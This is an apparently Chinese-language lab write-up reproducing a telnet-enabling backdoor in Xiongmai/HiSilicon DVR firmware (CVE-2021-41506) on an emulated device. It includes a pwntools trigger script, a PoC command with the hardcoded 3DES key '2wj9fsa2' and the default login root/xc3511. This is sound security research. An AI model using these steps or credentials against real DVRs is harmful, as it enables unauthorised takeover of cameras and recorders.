雄迈
https://www.xiongmaitech.com/en/index.php
官方固件下载中心
https://baike.jftech.com/download.html#
固件
型号:AHB7804R-LMS
SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20151228
https://file.sec-e.ru/%D0%9E%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20Optimus/%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B8%20%D0%B4%D0%BB%D1%8F%20%D0%BE%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%20Optimus/AHDR%20%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B/_%D0%90%D1%80%D1%85%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5%20%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B8/AHDR-2004CE/2015-12-28/
提取固件
binwalk -Me [固件名]
固件中存在logo(猜测启动logo之类的),custom(猜测自定义程序),romfs(猜测是只读文件系统,也就是root了),user(猜测是包含用户数据和配置文件之类)
查看一下文件内容,判断romfs就是后续要研究的文件系统==》先看一下启动脚本:
etc/init.d
rcS
执行了dnode,挂载了一些文件,可以看到挂载了两个文件系统为squashfs类型的块设备,对应文件名,应该就是刚刚的custom和user
dnode里面是一些初始化设备节点和挂载之类的==》继续rcS
对一些文件进行了操作,执行了loadmod,并配置了网卡,后续模拟的话可能需要更改网卡信息
想查看一下loadmode做了哪些操作,发现usr目录为空,结合启动脚本一开始的挂载块设备到usr和custom目录,不难得出为了后续模拟该文件系统,需要先将user内和custom内容的内容拷贝至romfs中的对应目录下,如图所示
拷贝最终结果:
再次查看一下loadmode
==》依旧是对文件的一些处理==》
==》对寄存器地址赋值,好像并没有什么比较重要的地方==》继续rcS
脚本运行了一些守护进程,例如telnet守护进程,允许远程telnet连接;然后启动了自定义应用之类的(extapp.sh),解压获取了Sofia,执行了dvrHelper,这里应该就是这个设备的主程序了,并且没有指定这个程序的路径就可以运行,应该是加入命令中了(busybox之类的)
识别一下busybox是什么架构的:
IDA反编译一下这个busybox
dvrHelper确实是被编译进去了
暂时没有什么有用的信息了==》固件模拟跑一下吧==》
固件模拟
wget https://people.debian.org/\~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
wget https://people.debian.org/\~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
wget https://people.debian.org/\~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
#宿主机
sudo apt-get install uml-utilities
sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.3.1/24
#启动QEMU
sudo qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
#默认用户名密码都是root
#配置QEMU虚拟机网卡
ifconfig eth0 192.168.3.2/24 up
宿主机:
QEMU虚拟机:
将文件系统传进QEMU系统内
scp -r squashfs-root root@192.168.3.2:/root
挂载dev和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
模拟设备shell
chroot ./squashfs-root/ sh
==》busybox的版本信息等
==》dvrHelper命令的一些相关输出,可以根据输出定位dvrHelper所在处理函数:
对应上dvrHelper所在位置==》没什么有价值的信息==》尝试让设备文件系统运行
稍微修改一下设备初始化脚本文件:注释掉网卡配置和最后的启动程序,后续我们手动启动程序
#! /bin/sh
/etc/init.d/dnode
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s
mount -t squashfs /dev/mtdblock2 /usr
mount -t squashfs /dev/mtdblock3 /mnt/custom
mount -t cramfs /dev/mtdblock4 /mnt/logo
mount -t jffs2 /dev/mtdblock5 /mnt/mtd
mount -t ramfs /dev/mem /var
mount -t usbfs none /proc/bus/usb/
#ifconfig eth0 up
#ifconfig eth0 10.6.2.131
mkdir -p /mnt/mtd/Config /mnt/mtd/Log /mnt/mtd/Config/ppp /mnt/mtd/Config/Json
#if [ ! -f /mnt/mtd/Config/HvrMode ] && [ -f /mnt/custom/HvrMode ]; then
# cp /mnt/custom/HvrMode /mnt/mtd/Config/
#fi
if [ -n "`sed -n '/MBD6804T-EL/p' /mnt/custom/ProductDefinition | sed -n '/Hardware/p'`" ];then
rm /mnt/mtd/Config/HvrMode -f
elif [ ! -f /mnt/mtd/Config/HvrMode ] && [ -f /mnt/custom/HvrMode ]; then
cp /mnt/custom/HvrMode /mnt/mtd/Config/
fi
if [ -f /mnt/mtd/Config/ppp/3gdigal ]; then
chmod 777 /mnt/mtd/Config/ppp/3gdigal
fi
cd /usr/etc
./loadmod
#ifconfig eth0 up
#ifconfig eth0 192.168.3.2/24
routedaemon&
dogtest &
#BurnSataHub &
telnetd &
timecheck &
macGuarder &
sleep 3
netinit &
sleep 2
/usr/etc/pppd pty /etc/ppp/pppoe-start file /etc/ppp/pppoe-options &
/mnt/custom/extapp.sh &
#unrar x /usr/bin/Sofia.rar /var/
cp /usr/bin/Sofia.tar.lzma /var/
cd /var/
tar -axf /usr/bin/Sofia.tar.lzma
chmod 777 /var/Sofia
rm /var/Sofia.tar.lzma -fr
#dvrHelper /lib/modules /var/Sofia 127.0.0.1 9578 1
上传覆盖脚本文件
scp rcS root@192.168.3.2:/root/squashfs-root/etc/init.d
在设备shell中运行初始化脚本
挂载没文件是正常的,不影响,因为在上文中我们已经提前将custom和user并入文件系统中了
此时你的虚拟机将因为初始化而发生变化==》退出设备shell将其改回
ifconfig eth0 192.168.3.2/24
查看一下虚拟机的端口情况
==》由macGuarder监听的9530端口
回到设备shell启动主程序
chroot ./squashfs-root/ sh
dvrHelper /lib/modules /var/Sofia 192.168.3.2 9578 1
再启动一个shell连接虚拟机(可以使用ssh等),查看端口情况
==》由dvrHelper监听的9527端口
漏洞分析
在互联网上寻找关于这个型号的相关漏洞,可以加快我们对这个设备的分析速度
CVE-2021-41506和CVE-2020-22253都提到了macGuarder,并且提到了Telnet
==》分析一下9530,也就是macGuarder
在CVE-2021-41506漏洞相关链接中有提到漏洞的触发条件==》
https://habr.com/en/articles/486856/
反编译定位字符串,当然,如果你发现你无法将这个符号文件拷贝下来分析,你也可以直接使用busybox,因为这个命令已经编译进去了,作为busybox的软链接存在
OpenTelnet:OpenOnce
猜测v6应该是程序接收的消息的头指针,+1略过了1个字节,也就是长度字节==》
exp:我这里其实是想发送OpenTelnet:OpenOnce看看它的返回的randNum是什么样子的,结果一直接受不到,并且在QEMU设备shell中是可以看到接收到了,并且还成功打开了Telnet
from pwn import *
io=remote("192.168.3.2",9530)
payload_1 = b"OpenTelnet:OpenOnce"
print(bytes([len(payload_1)]) + payload_1)
io.send(bytes([len(payload_1)]) + payload_1)
log.success('send: '+str(payload_1))
虚拟机设备shell:
虚拟机shell(这里我重启了一次QEMU,并没有启动dvrHelper)
Telnet连接尝试:该用户密码可通过hashcat爆破等方式获取,一般都是默认
User:root
Password:xc3511
根据漏洞报告相关链接描述来说,应该还有一个类似密钥之类的验证,但是并未在此版本的固件中出现,通过randNum字符串定位也并没有找到;
再根据另外一篇复现文章中:
https://nosec.org/home/detail/4213.html
#POC C版本
https://github.com/Snawoot/hisilicon-dvr-telnet
#POC py版本
https://github.com/tothi/pwn-hisilicon-dvr
可以发现POC只发送了OpenTelnet:OpenOnce,后续将由于没有返回randNum,POC也接收不到,就被迫挂着了,最后也是强制ctrl c结束,但是可以发现设备确实是启动了Telnet;
更换设备AHB7804R-LMS
这次根据具体的版本号去获取固件
https://file.sec-e.ru/%D0%9E%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20Optimus/%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B8%20%D0%B4%D0%BB%D1%8F%20%D0%BE%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%20Optimus/AHDR%20%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B/_%D0%90%D1%80%D1%85%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5%20%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B8/AHDR-2004CE/131/2017-03-01/SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20170301_NT.bin
SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20170301_NT
提取固件后查看目标程序的软链接:同样都是busybox
同样是通过字符串定位:
再通过交叉引用定位到函数:
再查找这个函数的引用:sub_2610C
发现此函数中出现的字符串与密钥等与漏洞报告链接描述高度吻合==》
初步验证
模拟运行:手动启动macGuarder,因为在这个版本的固件中的初始化脚本中并没有启用这项服务
发送OpenTelnet:OpenOnce测试一下:
from pwn import *
io=remote("192.168.3.2",9530)
payload_1 = b"OpenTelnet:OpenOnce"
print(bytes([len(payload_1)]) + payload_1)
io.send(bytes([len(payload_1)]) + payload_1)
log.success('send: '+str(payload_1))
re_ret = io.recv()
log.success('recv: '+str(re_ret))
正如报告所言,返回了一个randNum
证明这个程序正是我们要分析的目标,通过C版本的EXP打一波试试:
./hs-dvr-telnet 192.168.3.2 2wj9fsa2
执行效果:
成功去执行了telnetd命令,但是由于该版本的固件中并不存在这个命令,所以导致并无法完成利用
SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20170301_NT:
与SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20151228对比:
直接将20151228版本里的telnetd丢到20170301版本里:
scp telnetd root@192.168.3.2:/root/squashfs-root/sbin
修改rcS启动脚本,添加
macGuarder &
记得将网卡配置和最后的dvrHelper注释
最终验证
进入设备shell,运行设备初始化脚本,再次进行攻击,最终攻击效果:
成功开启了Telnet,并根据
User:root
Password:xc3511
成功登陆设备
漏洞原理
在给程序发送消息,消息进入处理:
打印一些提示提示信息,已创建连接,消息的内容,然后就是验证OpenTelnet:OpenOnce,程序将会返回randNum;
randNum是8位根据时间戳随机生成的十进制数
我们也就是客户端就需要发送这串随机数给服务器,并且发送的随机数是需要使用服务端提供的密钥进行加密的,然后客户端收到加密的密文,使用密钥解开,验证randNum;
对于密钥,服务端会先寻找/mnt/custom/TelnetOEMPasswd获取,没有的话就使用2wj9fsa2
对于加密函数encrypt:
经过分辨,这是一个3DES加密算法,具体请参考:
https://github.com/tothi/pyDes/blob/7a26fe09dc5b57b175c6439fbbf496414598a7a2/pyDes.py#L108
https://github.com/tothi/pyDes
https://github.com/polymorf/findcrypt-yara
https://bbs.kanxue.com/thread-278321.htm#msg_header_h2_0
https://www.4hou.com/posts/mGYE
若验证成功,则服务端发送verify:OK,并处理下一个消息CMD:加密算法与randNum是一样的,所以使用相同的方式加密后由客户端发送给服务端
验证成功后进入check_open_telnet函数,验证消息是否是Telnet:OpenOnce,若是,则启动Telnetd,打印Telnet:Open OK…,响应Open:OK
并启动调试端口9527
至此,telnet已经被启动,可以凭借用户密码即可登陆设备